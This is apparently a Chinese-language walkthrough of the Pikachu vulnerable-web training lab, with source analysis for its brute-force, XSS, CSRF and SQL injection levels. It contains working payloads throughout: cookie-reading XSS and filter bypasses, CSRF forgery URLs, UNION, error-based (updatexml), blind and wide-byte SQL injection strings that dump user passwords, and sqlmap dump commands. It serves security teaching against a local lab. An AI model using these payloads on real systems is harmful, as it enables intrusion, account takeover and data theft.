Pikachu靶场详细版(带源码分析)

Pikachu靶场详细版(源码分析)

本地搭建

[!NOTE]

这里只大概描述一下本地搭建靶场的过程

​ 1、github上面下载 pikachu

​ 2、将其放置在 phpstudy 的WWW目录中,打开 inc/config.inc.php 文件,数据库密码原本是空的,填入 phpstudy 的数据库密码

​ 3、套件开 Apache 和 MySQL

​ 4、phpstudy 点击“网站”,按照图中配置

​ 5、打开 http://127.0.0.1/install.php 点击“安装/初始化”,Over~

暴力破解

1、基于表单的暴力破解

​ 先随便填一个账号密码,用 burpsuite 抓个包

​ Send to Repeater,然后点击 Send,这里猜的账号密码:admin/123465,直接通过了

​ 这一关的源代码关键部分

// 确保 submit 按钮已被点击,并且 username 和 password 字段非空
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){
	// 直接从 $_POST 变量中获取 username 和 password
    $username = $_POST['username'];
    $password = $_POST['password'];
    $sql = "select * from users where username=? and password=md5(?)";
    $line_pre = $link->prepare($sql);
	// bind_param('ss', $username, $password) 绑定 username 和 password 参数,防止 SQL 注入
    $line_pre->bind_param('ss',$username,$password);
	// 如果找到匹配的用户,则登录成功,否则返回失败消息
    if($line_pre->execute()){
        $line_pre->store_result();
        if($line_pre->num_rows>0){
            $html.= '<p> login success</p>';
        } else{
            $html.= '<p> username or password is not exists~</p>';
        }
    } else{
        // 执行失败时,显示错误信息
        $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
    }
}
2、验证码绕过(on server)

​ 同样抓包,send to Repeater,把username或者password的值修改多次,Response都会显示“username or password is not exists~”

​ 这说明验证码不变的情况下,也一直通过了(不通过的情况下会显示“验证码输入错误哦!”)

​ 也就是说,验证码机制是放置在服务器上的,只要一直不放包,那么服务器就一直接收不到验证码,也就不会更新

​ 直接爆破,send to Intruder -> Start attack

​ 爆破出账号密码

​ 分析这一关源码关键部分:服务端没有做验证码判断,导致一次抓包request但不response的验证码会一直有效

if(isset($_POST['submit'])) {
    if (empty($_POST['username'])) {
        $html .= "<p class='notice'>用户名不能为空</p>";
    } else {
        if (empty($_POST['password'])) {
            $html .= "<p class='notice'>密码不能为空</p>";
        } else {
            if (empty($_POST['vcode'])) {
                $html .= "<p class='notice'>验证码不能为空哦!</p>";
            } else {
                //  验证验证码是否正确
                if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
                    $html .= "<p class='notice'>验证码输入错误哦!</p>";
                    //应该在验证完成后,销毁该$_SESSION['vcode']
                }else{
					// 接收 username、password、vcode
                    $username = $_POST['username'];
                    $password = $_POST['password'];
                    $vcode = $_POST['vcode'];
					// 构造sql语句
                    $sql = "select * from users where username=? and password=md5(?)";
                    $line_pre = $link->prepare($sql);
					
                    $line_pre->bind_param('ss',$username,$password);

                    if($line_pre->execute()){
                        $line_pre->store_result();
                        //虽然前面做了为空判断,但最后,却没有验证验证码!!!
                        if($line_pre->num_rows()==1){
                            $html.='<p> login success</p>';
                        }else{
                            $html.= '<p> username or password is not exists~</p>';
                        }
                    }else{
                        $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
                    }
                }
            }
        }
    }
}
3、验证码绕过(on client)

​ 同样,先随便输入账号密码:admin/admin 和 验证码,抓包,Send to Repeater,Send 查看 Response 返回包,直接拉到最底下

​ 可以看到,这里有个验证码验证的JS,逻辑是,如果验证码对了就返回,如果验证码错了,刷新验证码再返回

​ 那就猜测还是可以固定验证码去爆破用户名和密码

​ 继续往上看,看到“username or password is not exists~”

​ 修改一下 username 或者 password 的值,再次 Send。
​ 发现还是同样提示,没有“验证码错误”之类的提示,那就证明还可以进行同样方法的爆破。

​ 将 request 包 Send to Intruder,设置好 payloads,Start attrack

​ 爆破成功

源码分析(关键部分):

// 前端登陆验证代码
if(isset($_POST['submit'])){
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $sql = "select * from users where username=? and password=md5(?)";
        $line_pre = $link->prepare($sql);
        $line_pre->bind_param('ss', $username, $password);
        if ($line_pre->execute()) {
            $line_pre->store_result();
            if ($line_pre->num_rows > 0) {
                $html .= '<p> login success</p>';
            } else {
                $html .= '<p> username or password is not exists~</p>';
            }
        } else {
            $html .= '<p>执行错误:' . $line_pre->errno . '错误信息:' . $line_pre->error . '</p>';
        }
    }else{
        $html .= '<p> please input username and password~</p>';
    }
}
// JS代码:验证码验证
<script language="javascript" type="text/javascript">
    var code; //在全局 定义验证码
    function createCode() {
        code = "";
        var codeLength = 5;//验证码的长度
        var checkCode = document.getElementById("checkCode");
        var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的
        for (var i = 0; i < codeLength; i++) {
            var charIndex = Math.floor(Math.random() * 36);
            code += selectChar[charIndex];
        }
        //alert(code);
        if (checkCode) {
            checkCode.className = "code";
            checkCode.value = code;
        }
    }
    function validate() {
        var inputCode = document.querySelector('#bf_client .vcode').value;
        if (inputCode.length <= 0) {
            alert("请输入验证码!");
            return false;
        } else if (inputCode != code) {
            alert("验证码输入错误!");
            createCode();//刷新验证码
            return false;
        }
        else {
            return true;
        }
    }
    createCode();
</script>
4、token防爆破?

​ 同样抓包,可以看到 post 数据多了一个 token 值

​ 先 Send to Repeater ,Send 一次,显示报错“username or password is not exists~”

​ 再次 Send,显示报错“csrf token error”,说明这里验证方法是用了一次性的 token。

​ 这里发现就在“csrf token error”上方有个

<input type="hidden" name="token" value="7113067d43455aefcf590819092" />

​ 在页面中查看源代码,这一行也是隐藏的。所以猜测应该是前端生成的token值,在 post 数据时会变成参数发送request包,然后response返回页面由于验证过了,就刷新页面,产生了新的token值,那么我们就需要使用这个新的token值,进行下一次验证

​ OK,重新抓包,验证思路

​ 这俩值一样,证明思路正确,Send to Intruder,这里攻击方式要选择“Pitchfork attack”

[!NOTE]

Pitchfork attack(干草叉),pitchfork 对每个标记字段单独设置字典,按照一一对应的关系取最少的组合。

​ 那么我们这里重新抓个包,设置三个payloads

​ 前两个 username 和 password 就正常设置字典,token 需要在 Grep - Extract 里面 Add,点击 refetch response,获取返回包里面的token值,将其选中

​ 然后去 payloads 选择 recursive grep 的 payload type,将之前选中的 token 值复制到 initial payload for first request 里面

​ 这些步骤就是将下一个response包的token值变成本次post的token值,实现递归payload

​ 点击 Start attack

​ 可以看到 login success

源码分析(登录验证部分和表单那一关都差不多,只是post的时候多了一个token)

<form id="bf_client" method="post" action="bf_token.php" ">
<!--            <fieldset>-->
                <label>
                    <span>
                        <input type="text" name="username" placeholder="Username" />
                        <i class="ace-icon fa fa-user"></i>
                    </span>
                </label>
                </br>

                <label>
                    <span>
                        <input type="password" name="password" placeholder="Password" />
                        <i class="ace-icon fa fa-lock"></i>
                    </span>
                </label>
                </br>
				// 这部分是关键,value值直接取session['token']了,也使我们能实现递归数据包弱口令爆破的契机
                <input type="hidden" name="token" value="<?php echo $_SESSION['token'];?>" />
                <label><input class="submit"  name="submit" type="submit" value="Login" /></label>

        </form>

Cross-Site Scripting

[!NOTE]

这一章有些是没有后端源码分析,因为大部分代码都能从前端看到,有些过滤恶意代码的源码还是会简短的描述一下,我相信根据攻击逻辑也能猜的出来为什么会出现这样的漏洞

1、反射型xss(get)

​ 输入 1,点击 submit

​ 页面出现“who is 1, i don't care”

​ 输入1页面就输出1,说明你输出什么,页面就显示什么了,那就存在反射性xss的可能性

​ 查看页面代码,输入框部分对长度有限制,先将 maxlength 属性值修改为 40 吧(更长都可以)

​ 随后输入 payload:<script>alert(1)</script>,出现弹窗

​ 如果输入 <script>alert(document.cookie)</script>,也会弹出来

​ 主要目的就是弹出敏感信息了

源码分析

$html='';
if(isset($_GET['submit'])){
	// 这里没有做任何过滤,只要不为空就能输出
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{
        if($_GET['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
        }
    }
}
2、反射性xss(post)

​ 先使用账号密码 admin/123456,登陆进去(别疑惑为什么会有密码,可以当作进入系统之后的攻击)

​ 登陆成功后,直接输入payload:<script>alert(document.cookie)</script>

​ 弹出cookie中包含的admin用户的敏感信息

​ 这一关就不做源码分析了,一是跟上一关差不多,二是没有过滤

3、存储型xss

​ 先尝试随便输入两次,都保存在数据库中了,刷新页面也没消失

​ 输入payload:<script>alert(document.cookie)</script>之后,每进入该页面就会弹窗触发payload

​ 这就是存储型xss,将payload写进数据库,一旦有用户访问进你写xss的页面,就会触发payload

4、DOM型xss

​ 输入 111,弹出“what do you see?”,点击

​ 直接跳转到 http://192.168.1.5/pikachu/vul/xss/111 页面了

​ 查看这里代码

<a href="1111">what do you see?</a>

​ 也就是说我们输入的 1111值,写进了 href 属性

​ 那就可以输入payload:javascript:alert(1)

​ 弹出

​ 还可以输入\#' onmouseover=alert(1)>:,使href先闭合,然后给这个标签里面添加一个 onmousever 属性为 alert(1)的函数,实现鼠标超时弹窗

5、DOM型xss-x

​ 先随便输入1234,弹出一句话”有些费尽心机想要忘记的事情,后来真的就忘掉了“,点击后,又弹出一句话”就让往事都随风,都随风吧“,而弹出第二局就是我们将 1234 值写入了 href 属性里

<a href="1234">就让往事都随风,都随风吧</a>

​ 还是跟上一关一样写入payload:javascript:alert(1)

​ 同样的,其他payload也适用

6、xss之盲打

​ 随便输入进去,然后显示”谢谢参与,阁下的看法我们已经收到!“

​ 根据这句话,猜测应该是我们写的东西发送给客服或者后台了吧

​ 查看提示

​ 进入后台:http://192.168.1.5/pikachu/vul/xss/xssblind/admin_login.php,看提示账号密码是 admin/123456(还是那句话,别纠结为什么直接给了账号密码)

​ 果然,登陆进去之后,显示了我们写的东西

​ 那就是这个后台反馈意见的页面有存储型xss了

​ 那我们在之前的框里输入payload:<script>alert(1)</script>

​ 返回后台页面

7、xss之过滤

​ 虽然我觉得人生苦短,但是还是输入123...

​ 看到这里还是直接页面就回显输入值了,输入payload

​ 但是没有成功,只显示了一个 >

​ 说明过滤了恶意代码

​ 这里有很多方法可以反过滤:
​ 大小写混淆过滤,<scRipt>alert(1)</sCript>

​ 使用注释进行干扰: <sc<!--test--> ript> alert(1)</scr <--test--> ipt>

​ 重写: <scri<script> pt> alert(1)</scri</script> pt>

​ 使用img标签<img src=xss onerror="alert(1)">

源码分析(还有个小彩蛋,如果你输入yes,看到的信息不一样)

$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
    //这里会使用正则对<script进行替换为空,也就是过滤掉
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
//    $message=str_ireplace('<script>',$_GET['message']);
    if($message == 'yes'){
        $html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
    }else{
        $html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
    }

}
8、xss之htmlspecialchars

​ 输入的123456,在下方生成了一个链接

<a href="123456">123456</a>

​ 直接输入payload:javascript:alert(1)

​ 讲一下关键点:htmlspecialchars()函数把预定义的字符转换为HTML实体 &(和号)成为& "(双引号)成为" '(单引号)成为' <(小于)成为< ‘>’(大于)成为>

9、xss之href输出

​ 输入百度的链接http://www.baidu.com

​ 点击后,真打开百度了,也就是将输入的值传入href,实现该页面跳转到其他页面。这里再说一下,这种漏洞可以用来钓鱼,你自己写个钓鱼页面,让别人在这个网页点,跳转到你的钓鱼页面

​ 还是输入payload:javascript:alert(1)

10、xss之js输出

​ 随便输入,但是没有看到输入的值

​ 源码里搜一下 fromjs 或者 123123

​ 能看到是写入JS中了

​ 那这里就不能直接alert了,先闭合再插入

​ payload:tmac'</script><script>alert('111')</script>

源码分析

​ 这里的漏洞点在原 $ms 的值是一个用户可以控制的变量。

​ 我们输入的payload值,先是将ms的 ' 闭合,再将 <script> 闭合,然后写进去一个新的JS脚本,脚本内容为 alert('111')

<script>
    $ms='<?php echo $jsvar;?>';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }
    }
</script>

CSRF

1、CSRF(get)

​ 根据提示,先输入账号密码登录

​ 点击修改个人信息

​ submit 后,确实所有信息都修改了,但是我们的目的是找csrf,所以抓个修改的数据包

​ 可以看到,修改数据是构造了一个 get 的 url

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=111&phonenum=111&add=111&email=111&submit=submit

​ 这时候我们登录另一个账号,比如 allen/123456

​ 然后点击“修改个人信息”

​ 可以看到这时的url是

http://192.168.1.5/pikachu/vul/csrf/csrfget/csrf_get_edit.php

​ 将构造的那个url拼接上去,变成

http://192.168.1.5/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=111&phonenum=111&add=111&email=111&submit=submit

​ 直接打开该url

​ 这就是 csrf(get),构造一个恶意的url,让目标用户点击,实现恶意攻击

2、CSRF(post)

​ 同样先登录,点击修改个人信息,填入数据,抓包

​ 这里是post数据,那就不能直接构造url来实现恶意修改了,需要将这个post request包,生成一个网站

​ 这里有两种方法:

  • 第一种:直接使用 burpsuite 自带的poc,右键点击“Generate CSRF PoC”

​ 修改表单里的数据,点击下方的“Test in browser”直接生成一个带又poc的页面

​ copy生成的url后,在网站里打开

​ 点击“submit request”,直接跳转

  • 第二种:使用工具“OWASP CSRFTester”,工具默认监听 127.0.0.1:8008,所以我们要把浏览器proxy setting设置为同一个端口,然后捕获修改表单数据包,点击“Generate HTML”,在生成的html里面修改自己想要提交的表单数据(有一个要修改为),同样访问这个html,点击submit,触发恶意代码

3、CSRF Token

​ 登录账号,点击修改个人信息,抓包提交数据

​ 可以看到这里request包的GET url里面参数多了一个 token

​ 打开 /pikachu/vul/csrf/csrftoken/token_get_edit.php 源码

// 判断是否登录,没有登录不能访问
if(!check_csrf_login($link)){
//    echo "<script>alert('登录后才能进入会员中心哦')</script>";
    header("location:token_get_login.php");
}

$html1='';


if(isset($_GET['submit'])){
    if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token']){
        //转义
        $getdata=escape($link, $_GET);
        $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
        $result=execute($link, $query);
        //没有修改,点击提交,也算修改成功
        if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
            header("location:token_get.php");
        }else {
            $html1.="<p>修改失败,请重新登录</p>";
        }
    }
}
//生成token
set_token();
?>

​ 可以看到每次页面刷新都会触发 ser_token(),生成一个随机一次性token,实现防止其他用户构造恶意代码

SQL-inject

1、数字型注入(post)

​ 先做分析:选个“1”查询,显示 “vince”的email是“111”(这里是因为我们之前做CSRF的时候将vince用户的数据更改了),随便选个数字,点查询,抓个包。可以猜测 post 参数 id 是注入点了

​ 探测注入点是否真实,添加payload:and 1=2,显示“您输入的user id不存在,请重新输入!”,确认注入点!

​ 又或者直接在id=4后面加一个引号,显示报错,也能确认注入点

​ 手动爆库

爆数据库名UNION SELECT database(),1--

由这个payload构造出sql语句:

select username,email from member where id=4 UNION SELECT database(),1--

  • UNION 关键字用于合并两个 SQL 语句的结果。
  • SELECT database(),2 试图返回当前数据库的名称:2 只是一个占位符,使 UNION SELECT 语句的列数与原始查询匹配。
  • --SQL 注释,用于忽略后面的 SQL 代码,避免语法错误。

爆所有数据表名UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--

爆member表中所有列名UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--

INFORMATION_SCHEMA 是一个系统数据库,它包含了数据库结构的信息,比如:

  • 有哪些数据库 (schemata)
  • 有哪些表 (tables)
  • 有哪些列 (columns)
  • 表的索引 (statistics)
  • 存储过程 (routines)

爆users表中所有账号密码UNION SELECT username,password FROM users--

关键源码分析:可以看到\(query参数构造的sql查询语句是有一个变量\)id,而且没有过滤,这就给了sql注入的机会

if(isset($_POST['submit']) && $_POST['id']!=null){
    //这里没有做任何处理,直接拼到select里面去了,形成Sql注入
    $id=$_POST['id'];
    // 比如我们测试的时候,其实sql语句就是:select username,email from member where id=4 AND 1=2,这样判断语句就跳到了else的结果中,显示id不存在
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    //这里如果用==1,会严格一点
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $username=$data['username'];
            $email=$data['email'];
            $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
    }
}

使用sqlmap(这里使用一次sqlmap神器,后面就不再使用了,主要是为了锻炼手动sql注入能力)

​ 将数据包放入request.txt文件中,执行python sqlmap.py -r request.txt

python sqlmap.py -r request.txt --current-user

python sqlmap.py -r request.txt --dbs

python sqlmap.py -r request.txt -D pikachu --tables

python sqlmap.py -r request.txt -D pikachu -T users --columns

python sqlmap.py -r request.txt -D pikachu -T users -C username,passwrod --dump

 枚举:
 	-a, --all           获取所有信息、数据
    --current-user      获取 DBMS 当前用户
    --current-db        获取 DBMS 当前数据库
    --hostname          获取 DBMS 服务器的主机名
    --is-dba            探测 DBMS 当前用户是否为 DBA(数据库管理员)
    --users             枚举出 DBMS 所有用户
    --passwords         枚举出 DBMS 所有用户的密码哈希
    --privileges        枚举出 DBMS 所有用户特权级
    --roles             枚举出 DBMS 所有用户角色
    --dbs               枚举出 DBMS 所有数据库
    --tables            枚举出 DBMS 数据库中的所有表
    --columns           枚举出 DBMS 表中的所有列
    -D DB               指定要枚举的 DBMS 数据库
    -T TBL              指定要枚举的 DBMS 数据表
    -C COL              指定要枚举的 DBMS 数据列
    -X EXCLUDE          指定不枚举的 DBMS 标识符
    -U USER             指定枚举的 DBMS 用户
    --dump              导出 DBMS 数据库表项
2、字符型注入(get)

​ 先做分析:查看request请求包中,分析GET 请求的url里面的参数,判断name的值为注入点,输入 1',response Render报错,确定存在注入点

获取数据库名' UNION SELECT database(), 2# ,同时对name参数进行URL编码

获取所有表名' UNION SELECT group_concat(table_name), NULL FROM information_schema.tables WHERE table_schema=database()#

获取users表的列' UNION SELECT group_concat(column_name), NULL FROM information_schema.columns WHERE table_name='users'#

获取 username 和 password 值' UNION SELECT username, password FROM users#

关键源码分析:这一关跟上一关是同样的原理

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    // 例如我们输入payload:' OR '1'='1,sql语句拼接起来就是:SELECT id, email FROM member WHERE username='' OR '1'='1'。
    $query="select id,email from member where username='$name'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

SELECT id, email FROM member WHERE username='' UNION SELECT database(), 2--

3、搜索型注入

​ 先做分析:输入a,出现所有包含a的内容,说明是模糊查询。php的模糊查询语句一般就是"SELECT * FROM table WHERE column LIKE '%" . $q . "%'",所以我们要想方法做闭合,先输入%"闭合前面的sql语句,然后再插入恶意语句,最后加#或者--将后面的语句注释掉

获取所有用户数据%' OR '1'='1

  • %% 匹配所有用户名。
  • '1'='1' 始终为真,返回数据库中的所有用户数据

获取数据库名%' UNION SELECT database(),2,3#

获取users表的所有列名%' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'#

获取所有用户名和密码%' UNION SELECT username,password,3 FROM users#

关键源码分析

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是模糊匹配,需要考虑闭合
    $query="select username,id,email from member where username like '%$name%'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        //彩蛋:这里还有个xss
        $html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
        while($data=mysqli_fetch_assoc($result)){
            $uname=$data['username'];
            $id=$data['id'];
            $email=$data['email'];
            $html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
        }
    }else{
        $html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
    }
}
4、xx型注入

​ 分析:这里不知道是什么类型的注入了,先用'或者或者%'测试

​ 发现输入123'后,网页报错,说明sql语句结构中存在单引号,并且根据报错信息(这里讲述一下为什么要前面多个123,主要是为了让报错信息看起来更加直观方便后面闭合sql语句,如果只输入',就会导致报错全是引号,难以分辨):

​ You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''123'')' at line 1
​ 判断sql语句中是有一个)需要闭合的,尝试123'),又出现报错信息:
​ You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1

​ 可以判断是闭合后,sql语句后面多出来的这个)导致sql报错了,那我们可以直接加个#将后面的内容注释掉

​ 组成payload:123')#,输入进去会发现网页又不报错了,证明可以在#前面添加恶意代码了

探测原查询返回的列数123') order by 3#,当 order by 3 的时候报错,order by 2 的时候不报错,说明查询返回的值应该有两个。

探测数据库123') union select database(),2#

获取users表的所有列名123')UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'#

获取users中的username和password123') UNION SELECT username,password from users#

源码分析

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合,结合前面的payload闭合sql语句就是就是:select id,email from member where username=('123')#')
    $query="select id,email from member where username=('$name')";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}
5、"insert/update"注入

​ 先点击注册看看,随便注册一个账号,抓个包

​ 注册成功会显示

​ 分析,测试注入点:

​ 首先,注册采用的逻辑是数据库插入,所以咱们先去猜想sql语句大概率是什么

insert into member(username, password, sex, phonenum, email, add) values('hunter', 'hunter123', '111', 111, '111', '111')

​ 然后再思考一点,这个页面数据插入之后,网页不会回显任何数据,只会显示一个“注册成功”,那么我们就要想办法让他能回显数据

[!NOTE]

sql语法中,updatexml()常用于报错注入

  • 基于insert下的报错:
hunter' or updatexml(1, concat(0x7e, database()), 0) or '
  • 基于delete下的报错:
1 or updatexml(1, concat(0x7e, database()), 0)

CONCAT(0x7e, DATABASE())

  • 0x7e~ 符号,作用是分隔符。
  • DATABASE() 返回当前数据库名称(你的数据库名是 pikachu)。

UPDATEXML(1, '某个字符串', 0)

  • 试图对 XML 进行 XPath 解析,但 DATABASE() 返回的数据库名不是 XML 格式,因此会触发 XPATH syntax error

也可以使用 extractvalue() 替代 updatexml()...

​ 接下来构造闭合:

​ username的值改为',网页会出现报错,这个报错显示的是咱们后面post的参数

探测数据库名hunter' or updatexml(1, concat(0x7e, database()), 0) or '(这里两个单引号是为了闭合前后两个单引号)

获取数据库中的表名' or updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='pikachu' LIMIT 0,1)), 0) or '

​ 后续修改payload的LIMIT

LIMIT 1,1  # 获取第二张表:member
LIMIT 2,1  # 获取第三张表:message
LIMIT 3,1  # 获取第四张表:users
LIMIT 4,1  # 获取第五张表:xssblind

获取member表的列名' or updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='member' AND table_schema='pikachu' LIMIT 0,1)), 0) or '

​ 同理可以以此获取所有列明:address、email、id、phonenum、pw、sex、username

获取users表的username、password' or updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1) or '

​ 同理修改LIMIT值可以依次获取到所有users的username、password

关键源码分析

if(isset($_POST['submit'])){
    if($_POST['username']!=null &&$_POST['password']!=null){
//      $getdata=escape($link, $_POST);//转义
        //没转义,导致注入漏洞,操作类型为insert
        $getdata=$_POST;
        $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1){
            $html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
        }else {
            $html.="<p>注册失败,请检查下数据库是否还活着</p>";
        }
    }else{
        $html.="<p>必填项不能为空哦</p>";
    }
}
6、"delete"注入

​ 看到这个留言板,其实可以尝试以下xss,xss失败...

​ 回到sql注入正题...抓个删除的数据包,可以看到有个参数“id”

​ 分析测试注入点:

​ 先加个单引号',出现报错,证明存在sql注入!

​ 由于删除成功也不会出现回显,所以还是要使用报错注入的方法

获取数据库名 or updatexml (1, concat(0x7e, database(), 0x7e), 1) #

​ 注意:要对payload进行url加密

获取所有表名or updatexml (1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='pikachu'), 0x7e), 1) #

获取users表的所有列名or updatexml (1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'), 0x7e), 1) #

**获取用户数据**:`or updatexml (1, concat(0x7e, (select group_concat(username, password) from users), 0x7e), 1) #`

关键源码分析

if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    //插入转义
    $message=escape($link, $_POST['message']);
    $query="insert into message(content,time) values('$message',now())";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)!=1){
        $html.="<p>出现异常,提交失败!</p>";
    }
}
// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
//没对传进来的id进行处理,导致DEL注入
if(array_key_exists('id', $_GET)){
    $query="delete from message where id={$_GET['id']}";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        header("location:sqli_del.php");
    }else{
        $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
    }
}
7、"http header"注入

根据提示登录

​ 分析:查看登录数据包(尝试注入直接就会显示登陆失败)

​ 查看“点击退出”数据包,可以看到这个包里面的 User-Agent 和 Accept 值是页面中显示的值

尝试报错注入' or updatexml(1, concat(0x7e, (select database()), 0x7e),1) or '

​ 同理依次

获取表名' or updatexml (1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='pikachu'), 0x7e), 1) or '【这个会出现网页报错的情况,然后会发现需要删除User-Agent前面的内容】

获取列名' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'), 0x7e), 1) or'

获取用户数据' or updatexml(1, concat(0x7e, (select group_concat(username, password) from users), 0x7e), 1) or '

8、盲注(base on boolian)

​ 分析:

​ 输入想要查询的信息,但是服务器不会直接回显查询结果,而且无论输入任何值,都是统一的“您输入的username不存在,请重新输入!”,也就是说不显示错误信息

​ 这里面我们先查询之前注册的用户hunter,输入:hunter,会显示uid和email

​ 后面加个引号:hunter',又显示“您输入的username不存在,请重新输入!”

​ 然后再加一个注释符hunter'#,又显示正常了,闭合就是单引号

判断数据库长度hunter' and length(database())=7 #(这里是一直尝试,直到length=7的时候才正常输出,说明数据库长度为7)

判断数据库名hunter' and substr(database(), 1, 1)='p'#(这里开始从数据库的第一个字母一直尝试,)

​ 同理依次,hunter' and substr(database(), 2, 1)='i'#hunter' and substr(database(), 3, 1)='k'#,枚举出来数据库为pikachu

​ 然后使用group_concat猜表名...这里其实就建议使用sqlmap了,知道手动注入的原理就行

9、盲注(base on time)

​ 分析:
​ 这里我们无论输入什么查询都是,“i don't care who you are!”

​ 那就只能时间盲注

​ 先尝试hunter and sleep(5)#,发现并没有等5秒

​ 然后尝试hunter' and sleep(5)#,等5秒才出现结果,说明闭合是'同时可以进行时间盲注

判断数据库长度hunter' and if(length(database())=7, sleep(5), 1)#

枚举数据库名hunter' and if(substr(database(), 1, 1)='p', sleep(5), 1)#

​ 依次慢慢枚举出整个数据库名,数据表名等信息

10、宽字节注入

[!NOTE]

宽字节注入指的是mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为',使得多数注入攻击无效,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是'運',从而使单引号闭合(逃逸),进行注入攻击

​ 分析:

​ 输入hunter后正常出现用户信息

​ 然后输入hunter'#,可以看到我们使用单引号去闭合,然后再去注释是没用的。甚至直接hunter#都不行

​ 这说明不仅仅是过滤了,还有转义,所以可以尝试宽字节注入(另外宽字节注入常用%df,但是不仅仅局限一这一个符号)

​ 当输入hunter'之后显示“您输入的username不存在,请重新输入!”

​ 当输入hunter%df之后显示正常,说明%df(0xDF 在十六进制中)落在 GBK 编码允许的第二字节范围内,因而与前面的单引号结合后,形成了一个合法的双字节字符,而不会被当作字符串结束符解析。这就绕过了单引号的终结作用,使得 SQL 查询仍然是合法的,从而正常显示数据。

​ 输入payload:hunter%df' union select version(),database()#

